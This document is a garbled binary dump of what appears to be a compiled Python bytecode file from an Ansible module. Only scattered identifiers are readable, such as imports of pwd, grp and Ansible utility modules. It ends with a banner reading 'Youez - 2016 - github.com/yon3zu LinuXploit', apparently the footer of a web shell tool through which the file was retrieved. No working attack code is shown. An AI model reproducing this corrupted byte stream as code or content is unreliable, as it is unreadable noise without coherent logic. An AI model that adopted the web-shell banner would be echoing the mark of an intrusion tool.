��;�U�h�.�.��5�5�f�m�D�D�	��W��	;��v�y��'9�:�:�:��W��	;��v�y��'9�:�:�:��J�&O�PV�Wj�Pk�mr�&s�&s�J�"�#�-3�4N�-O�J�)�*� I�&�Q^�J_�af� g� g�J�}��'-�.B�'C�J�#�$��l��'�*�8�D�AV�+W�+W�+W�X�X�����d�E�.��Q�Q�Q�����'��f�j�A�A���	�+�	�	�!�$����D�D���	�&�����c�6�5�*�E�E���	�&��� ��s�F�E�:�F�F���	�'�	�	��t�V�Z�8�8���	�(�	�	��t�$�$��
����v�����r�__main__r)2�
__future__rrrr��
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNrPrAr�r+r��pwdrr�grprr	�ansible.module_utils.basicr
�ansible.module_utils._textrrr)r�rr�objectr!r0rHrEr^rzr�r[r�r�r�r�r�r�r�r�r�r�rrrrr�<module>rs���A�@�@�@�@�@�@�@�@�@��
�r�
�hY��t
��
����	�	�	�	�
�
�
�
�
�
�
�
�����"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�4�4�4�4�4�4�:�:�:�:�:�:�:�:�
��F�F�F�F�F��F�F�F�	�	�	�	�	�'�	�	�	������v����
4�4�4�+?�+?�+?�\���2(�(�(�V���@
�
�
� 8�8�8�8�v������"���:(�(�(�V<�<�<�4D<�D<�D<�NlH�lH�lH�^WH�WH�WH�th�h�h�j�j�j�B�B�B�J�z����D�F�F�F�F�F��r

Youez - 2016 - github.com/yon3zu
LinuXploit